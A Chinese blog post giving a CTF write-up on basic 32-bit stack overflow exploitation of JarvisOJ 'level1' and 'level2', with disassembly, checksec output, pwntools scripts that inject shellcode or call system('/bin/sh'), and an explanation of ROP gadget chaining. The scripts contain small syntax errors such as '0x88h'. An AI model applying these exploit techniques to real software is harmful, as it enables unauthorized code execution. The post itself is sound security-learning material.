pwn(二)

原创

xiaomingdexiaoshubao 于 2018-09-28 12:16:31 发布 2056 收藏 16

分类专栏： pwn 文章标签： pwn

本文链接：https://blog.csdn.net/qq_38990949/article/details/82859279

pwn(二) 基本栈溢出

- 写在文章开头的话：之前一直在学习pwn入门,但是pwn一直是门槛比较高的一门学问,于是前一段时间懈怠了,接下来一段时间会一天写一个模块的writeup,如果遇到比较难的,不好理解的,我也会尽量理解好了,认为自己有比较好的理解方法的时候,才会来写出自己的一些看法和理解,可能会有两天到三天来查阅大量
  文档才会有一个比较好的理解

32位程序基本栈溢出

- 程序基本栈结构（**从高地址往地址偏移**）

- 具有栈溢出漏洞的函数我们具体分析一下：

```
.text:0804847B ; __unwind {
.text:0804847B                 push    ebp
.text:0804847C                 mov     ebp, esp
.text:0804847E                 sub     esp, 88h
.text:08048484                 sub     esp, 8
.text:08048487                 lea     eax, [ebp-10001000b]
.text:0804848D                 push    eax
.text:0804848E                 push    offset format   ; "What's this:%p?\n"
.text:08048493                 call    _printf
.text:08048498                 add     esp, 10h
.text:0804849B                 sub     esp, 4
.text:0804849E                 push    100h            ; nbytes
.text:080484A3                 lea     eax, [ebp+buf]
.text:080484A9                 push    eax             ; buf
.text:080484AA                 push    0               ; fd
.text:080484AC                 call    _read
.text:080484B1                 add     esp, 10h
.text:080484B4                 nop
.text:080484B5                 leave
.text:080484B6                 retn
.text:080484B6 ; } // starts at 804847B
```

- 在call printf的时候，我们看到了先给eax赋值了一个地址，然后push了两个值，这两个值就是printf的两个参数，然后在printf里面再进行ebp和esp的相关操作
- 然后call read的时候，又压入了三个参数，这就是read的三个参数，从右往走依次压入，**在080484A3的地方，lea eax, [ebp+buf]，这个地方就是把buf的地址复制给eax，作为read函数的参数**
- 漏洞：我们看到read函数可以读入100h个字节的数据，而buf只有88h的空间，如果我们写满了100h个字节，就可以覆盖掉ebp、retaddr、子函数调用参数，甚至还可以往上继续覆盖，但是没有必要，我们只需要覆盖掉我们想要的部分
- 这样子我们就可以把retaddr换成我们想要程序执行的地址了，这个地址可以是我们写的一段代码的地址，也就是一段shellcode asm代码，也可以是调用系统函数，也就是调用system('/bin/sh')这样我们的漏洞就利用成功了，这就是个简单的栈溢出

栈溢出基本利用一 - 栈上可执行

- 为了防止这样的栈溢出漏洞，人们也研究了很多的栈保护机制，包括加壳，花代码，canary保护，NX保护，地址随机化等等，后续会写
- 开启了什么基本保护我们，可以通过pwntools里面的checksec工具去检测一个这个程序

```
 □ root@kncc □ /work/ctf/pwn-jarvisoj/level_1  : file level1.80eacdcd51aca92af7749d96efad7fb5
level1.80eacdcd51aca92af7749d96efad7fb5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically l
inked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b
344, not stripped
 □ root@kncc □ /work/ctf/pwn-jarvisoj/level_1 : checksec level1.80eacdcd51aca92af7749d96efad7fb5
[*] '/work/ctf/pwn-jarvisoj/level_1/level1.80eacdcd51aca92af7749d96efad7fb5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
```

- 我们可以看到这是个32位ELF程序，而且什么保护都没有开启，我们接下来主要用到NX保护，栈不可执行保护，等一下我们利用的时候就知道什么是栈不可执行保护了
- 我们可以实际去运行一下这个程序，

```
 root@kncc  /work/ctf/pwn-jarvisoj/level_1  ./level1.80eacdcd51aca92af7749d96efad7fb5
What's this:0xffc10670?
->hello,world
Hello, World!
```

- 这个程序先是打印了一段地址，然后我输入了一个字符串，然后程序也给我回显了一个字符串，然后我试试输入其他的字符串，发现程序也是只回显hello，world!，这里我们就大概率估计栈溢出在调用读取我们输入的地方
- 接下来我们去真正开始分析这个程序，用我们的IDA工具去分析，首先我们先shift+F12，看一下程序有没有特殊的字符串用

```
LOAD:08048154 00000013 C /lib/ld-linux.so.2
LOAD:0804823D 0000000A C libc.so.6
LOAD:08048247 0000000F C _IO_stdin_used
LOAD:08048256 00000007 C printf
LOAD:0804825D 00000005 C read
LOAD:08048262 00000012 C __libc_start_main
LOAD:08048274 00000006 C write
LOAD:0804827A 0000000F C __gmon_start__
LOAD:08048289 0000000A C GLIBC_2.0
.rodata:08048570 00000011 C What's this:%p?\n
.rodata:08048581 0000000F C Hello, World!\n
.eh_frame:080485FB 00000005 C ;*2$\"
```

- 我们可以直接看到回显的字符串"Hello, World!\n"，于是我们就可以定位到溢出函数了，双击以后

```
.rodata:08048570 format          db 'What',27h,'s this:%p?',0Ah,0
.rodata:08048570                                         ; DATA XREF: vulnerable_function+13↑o
.rodata:08048581 aHelloWorld     db 'Hello, World!',0Ah,0
.rodata:08048581                                         ; DATA XREF: main+1B↑o
.rodata:08048581 _rodata         ends
```

- 我们可以看到字符串打印和回显都是在vulnerable_function这个函数里面调用，我们直接双击这个函数，就是得到我们文章开头的那个溢出函数的反汇编代码了

```
.text:0804847B                 public vulnerable_function
.text:0804847B vulnerable_function proc near           ; CODE XREF: main+11↓p
.text:0804847B
.text:0804847B buf             = byte ptr -88h
.text:0804847B
.text:0804847B ; __unwind {
.text:0804847B                 push    ebp
.text:0804847C                 mov     ebp, esp
.text:0804847E                 sub     esp, 88h
.text:08048484                 sub     esp, 8
.text:08048487                 lea     eax, [ebp-10001000b]
.text:0804848D                 push    eax
.text:0804848E                 push    offset format   ; "What's this:%p?\n"
.text:08048493                 call    _printf
.text:08048498                 add     esp, 10h
.text:0804849B                 sub     esp, 4
.text:0804849E                 push    100h            ; nbytes
.text:080484A3                 lea     eax, [ebp+buf]
.text:080484A9                 push    eax             ; buf
.text:080484AA                 push    0               ; fd
.text:080484AC                 call    _read
.text:080484B1                 add     esp, 10h
.text:080484B4                 nop
.text:080484B5                 leave
.text:080484B6                 retn
.text:080484B6 ; } // starts at 804847B
```

- 漏洞在开头就已经说过了，read函数可以读入0x100h个字节，但是buf只有0x88h个字节的空间，我们可以通过输入来溢出覆盖掉他们的参数
- 那么我们输入什么，这个程序没有开启NX保护，说明我们可以在栈上执行我们的代码，于是我们首先需要填充的是我们的asm shellcode代码，然后接着把这个buf空间填满，我们看之前的那个栈的分布图，还有个saved ebp，才到返回地址，在32位程序中，这个saved ebp只有四个字节，于是在填充4字节的空间，再输入的数据就是返回地址了
- **payload += shellcode + (0x88h - len(shellcode)) * 'a' + 4 * 'a' + retaddr**
- 返回地址如何知道，我们可以看到程序一开始会先打印一个奇怪的地址，我们分析这个程序的这一段代码.text:08048487 lea eax, [ebp-10001000b]，ebp-10001000b到底是哪里呢，我们转为十六进制就是明白了，ebp-88h，就是buf空间所在首地址，这样返回地址我们也确定了，这样子我们就可以写payload了，我们需要用到Python的pwntools库去完成

```
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
# io
io = process('./level1')
# Generate the shellcode by shellcraft
shellcode = asm(shellcraft.sh())
# addr
shell_addr = int(io.recvline()[12:-2],16)
# payload
payload = shellcode       #shellcode
payload += (0x88h - len(shellcode)) * 'a' #填充buf
payload += 4 * 'a'       #覆盖saved ebp，这个无所谓，随便填就可以了
payload += p32(shell_addr)     #覆盖返回地址，所有的地址都要以32位的方式填入
# interactive
io.send(payload)
io.interactive()
```

- 接下来就能得到一个shell，然后就是参看flag

栈溢出基本利用一 - 栈上不可执行

- 上面的payload执行取决于栈上面是可执行的，但是栈上不可执行之后，我们就需要用另外的办法了，我们同样分析另外一个32位程序，但是开启了NX保护
- 前面的步骤就不啰嗦了，直接运行一下这个程序

```
 root@kncc  /work/ctf/pwn-jarvisoj/level_2  ./level2.54931449c557d0551c4fc2a10f4778a1
Input:
hello,world
Hello World!
```

- 我们也可以很轻松的找到溢出函数，但是问题在于我们无法在栈上运行我们的代码了，这时候我们查看一下关键字符串，很轻松的就发现了/bin/sh字符串，然后我们观察这个程序竟然有system函数，这样我们就可以调用system("/bin/sh")函数了

```
LOAD:08048154 00000013 C /lib/ld-linux.so.2
LOAD:0804822D 0000000A C libc.so.6
LOAD:08048237 0000000F C _IO_stdin_used
LOAD:08048246 00000005 C read
LOAD:0804824B 00000007 C system
LOAD:08048252 00000012 C __libc_start_main
LOAD:08048264 0000000F C __gmon_start__
LOAD:08048273 0000000A C GLIBC_2.0
.rodata:08048540 0000000C C echo Input:
.rodata:0804854C 00000014 C echo 'Hello World!'
.eh_frame:080485CB 00000005 C ;*2$\"
.data:0804A024 00000008 C /bin/sh
```

- 这里我们和之前的一样，先覆盖掉buf和ebp，然后把我们找到的system函数地址写入retaddr，然后把system函数的参数加上，就可以完成调用了**（*：**这里和64位程序有很大的不同，32位程序参数入栈就可以了，但是64位程序，只有当你的参数超过6个之后才会入栈，前六个参数分别存在六个寄存器当中**）
- 找system函数地址我们也是用的pwntools的ELF模块，找/bin/sh的地址也是通过pwntools，我们就可以写利用脚本了

```
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
# io
io = process('level2')
elf = ELF('./level2')
# sys_addr
sys_addr = elf.symbols['system']
# sh_addr
sh_addr = elf.search['/bin/sh'].next()
# payload
payload = 0x88 * 'a'    #buf
payload += 4 * 'a'     #saved ebp
payload += p32(sys_addr)   #system_addr
payload += p32(4)     #system函数返回后的地址,无所谓,随便写
payload += p32(sh_addr)    #/bin/sh字符串的地址
# interactive
io.send(payload)
io.interactive()
```

- 从这里我们可以总结一下规律，因为后面的rop链会涉及到多次调用，免得参数弄混
- 覆盖返回地址(调用的函数A地址) + **调用函数A完成后返回函数地址B** + 调用函数A的参数 + 调用函数B + **调用函数B完成后返回函数地址C** + 函数B的参数 + 调用函数C + **调用函数C完成后返回函数地址D**+ 函数C的参数
- 这里就有个问题，就是调用函数A完成后，返回到我们所写的*（调用函数A完成后返回函数地址B），就是第一个加粗的地方，之后会执行到调用函数A的参数，这时候不是个函数地址，我们的程序就继续不下去了，达不到我们的预期，于是调用函数A的参数应该被POP出去，这样返回之后就自动跳到函数B了，也就是说加粗的地方不应该填一开始填的东西，这也是我们初学的时候这么认为的
- 正常的写法应该是：
- **调用的函数A + pop地址 + 调用的函数A的参数 + 调用函数B + pop地址 + 调用的函数B的参数 + 调用函数C + pop地址 + 调用函数C的参数**
- 那么pop地址是什么意思，我们实际举个例子，假设A有一个参数，B有两个参数，C有三个参数，这样子我们写的payload应该是
- **调用的函数A + pop一次 + A1 + 调用函数B + pop两次 + B1 + B2 + 调用函数C + pop三次 + C1 + C2 + C3 + 调用函数D + 地址（无所谓）+ D1 ...**
- 函数D我们就无所谓了，我们只需要调用ABCD就够了，至于D后面的就不管了
- 我们用ROPgadget 命令也是pwntools里面的，找一下这个程序里面可用的pop，就用这三个吧0x080482f5 0x080482f5 : pop ebx ; ret
  0x0804851a : pop edi ; pop ebp ; ret
  0x08048519 : pop esi ; pop edi ; pop ebp ; ret
- 最后这个payload应该是：
- **调用的函数A + 0x080482f5 (pop一次)+ A1 + 调用函数B + 0x0804851a(pop两次) + B1 + B2 + 调用函数C + 0x08048519(pop三次) + C1 + C2 + C3 + 调用函数D + 地址（无所谓）+ D1 ...**
- 这样子调用每个函数完成后就能让指针指向下一个函数继续执行

```
 root@kncc  /work/ctf/pwn-jarvisoj/level_2  ROPgadget --binary level2.54931449c557d0551c4fc2a10f4778a1  --onl
y  "pop|ret"
Gadgets information
============================================================
0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f5 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482de : ret
0x080483ce : ret 0xeac1

Unique gadgets found: 7
```

- 这样我们的32位程序简单栈溢出利用就弄完了